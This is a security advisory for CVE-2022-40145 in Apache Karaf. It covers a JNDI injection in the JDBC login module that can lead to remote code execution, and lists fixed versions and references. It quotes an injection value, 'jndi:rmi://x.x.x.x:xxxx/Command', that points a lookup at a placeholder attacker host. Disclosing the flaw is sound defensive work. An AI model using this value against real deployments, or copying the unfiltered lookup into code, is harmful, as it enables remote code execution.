Apache Karaf vulnerable to potential code injection
This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.apache.karaf:apache-karaf | < 4.3.8, >= 4.4.0, < 4.4.2 | 4.3.8, 4.4.2 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-40145
- https://github.com/apache/karaf/pull/1632
- https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1
- https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341
- https://github.com/apache/karaf
- https://issues.apache.org/jira/browse/KARAF-7568
- https://karaf.apache.org/security/cve-2022-40145.txt
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-20, CWE-74- Platform
- Java / Kotlin (Maven)
- Package
org.apache.karaf:apache-karaf- Disclosed
- 21.12.2022
- Updated
- 11.10.2026 12:21
Sources and licenses
OSV / GitHub Advisory Database - GHSA-c2p4-8mvv-rwmv - CC BY 4.0
Vulnerability history: org.apache.karaf:apache-karaf
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 12.2018 12.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 2
- Medium 4
Disclosures per year
- 2018: 1
- 2019: 3
- 2020: 0
- 2021: 0
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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